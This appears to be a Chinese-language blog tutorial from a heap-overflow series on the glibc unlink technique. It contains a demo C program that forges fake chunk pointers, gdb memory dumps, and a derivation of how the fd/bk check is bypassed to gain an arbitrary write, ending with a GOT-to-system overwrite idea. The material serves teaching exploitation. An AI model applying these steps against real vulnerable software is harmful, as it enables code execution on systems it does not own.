二进制安全之堆溢出(系列)—— unlink
本文是二进制安全之堆溢出系列的第五章节,主要介绍unlink。
源程序
#include <stdio.h> #include <malloc.h> #include <unistd.h> #include <string.h> long long list[30]={0}; int main() { char *p = malloc(0x80); char *q = malloc(0x80); char *r = malloc(0x80); sleep(0); printf("%p\n",list); list[0] = p; sleep(0); printf("%p\n",&p); *(long *) p = 0; *(long *) (p+8) = 0x81; *(long *) (p+16) = list - 0x3; *(long *) (p+24) = list - 0x2; *(long *) (q-16) = 0x80; *(long *) (q-8) = 0x90; sleep(0); free(q); sleep(0); strcpy(list[0],"111111111111111111111111\x38\x10\x60"); //由于list指向了list-0x18的位置,所以需要0x18个1来填充 sleep(0); strcpy(list[0],"dddddddd"); //相当于*list[0] = "dddddddd" malloc(0); sleep(0); return 0; }
调试
初始堆的情况
0x602000 PREV_INUSE { ----> p prev_size = 0, size = 145, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602090 PREV_INUSE { ---> q prev_size = 0, size = 145, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602120 PREV_INUSE { --->r prev_size = 0, size = 145, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x6021b0 PREV_INUSE { --->top chunk prev_size = 0, size = 134737, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
list[0] = p
之后list
的内存布局
0×601080 <list>:0×00000000006020100×0000000000000000
打印p
的地址
0x7fffffffdc20
p
堆块改头换面
0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x0000000000000000 0x0000000000000081 --->从这里开始改造 0x602020: 0x0000000000601068 0x0000000000601070 --->list - 0x18 list - 0x10 0x602030: 0x0000000000000000 0x0000000000000000
q
堆块改头换面
原始的q堆块 0x602090: 0x0000000000000080 0x0000000000000091 --->Pre_inuse为1,表示p堆块正在使用中 0x6020a0: 0x0000000000000000 0x0000000000000000 改造后q堆块 0x602090: 0x0000000000000080 0x0000000000000090 -->更改p堆块的size以及inuse状态,便于合并及unlink 0x6020a0: 0x0000000000000000 0x0000000000000000
此时达到的效果,当free q
的时候,就会前向合并,触发unlink
free q
之后
0x602000 PREV_INUSE { prev_size = 0, size = 145, fd = 0x0, bk = 0x111, fd_nextsize = 0x7ffff7dd1b78 <main_arena+88>, bk_nextsize = 0x7ffff7dd1b78 <main_arena+88> } 0x602090 { prev_size = 128, size = 144, fd = 0x0, ===>指向0 bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x602120 { prev_size = 272, ===>从这里可以看出p,q合并了 size = 144, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
list[0]
第一次赋值
0x601080 <list>: 0x0000000000601038 0x0000000000000000
此时0x601038
的内容
0x601038: 0x00007ffff7a91130 0x00007ffff7ad9230 0x601048: 0x0000000000000000 0x0000000000000000 0x601058: 0x0000000000000000 0x0000000000000000 0x601068: 0x3131313131313131 0x3131313131313131 0x601078: 0x3131313131313131 0x0000000000601038 0x601088 <list+8>: 0x0000000000000000 0x0000000000000000
list[0]
第二次赋值
0x601080 <list>:0x00000000006010380x0000000000000000
此时0x601038
的内容
0x601038: 0x6464646464646464 0x00007ffff7ad9200 ==>我们写入的dddddddd到了这里 0x601048: 0x0000000000000000 0x0000000000000000 0x601058: 0x0000000000000000 0x0000000000000000 0x601068: 0x3131313131313131 0x3232323232323232 0x601078: 0x3333333333333333 0x0000000000601038 0x601088 <list+8>: 0x0000000000000000 0x0000000000000000
原理
绕过检查的方式 p ->fd = list[0] - 0x18 p ->bk = list[0] - 0x10 list[0] = p 为什么这样就饶过检查了呢 检查的原理: p->fd->bk = p && p->bk->fd = p 简单的加法: p->fd->bk = p->fd+0x18 = list[0] = p p->bk->fd = p->bk+0x18 = list[0] = p unlink的操作实现了什么效果 断链的操作:p->fd->bk = p->bk && p->bk->fd = p->fd 方程组解析: 因为: p->fd->bk = *(list[0] - 0x18 + 0x18) # 理解这一点至关重要,可以把p->fd理解为一个指针 p->fd->bk = p->bk p->bk = list[0] - 0x10 所以:*(list[0]) = list[0] - 0x10 同理:*(list[0]) = list[0] - 0x18 效果: list[0]指向了低三个指针长度的内存空间 现在编辑list[0],就相当于更改低三个指针长度的内存空间(L)的内容 假设现在list[0] = free_got,*L = system,当再次free一个堆块的时候,就会调用system。
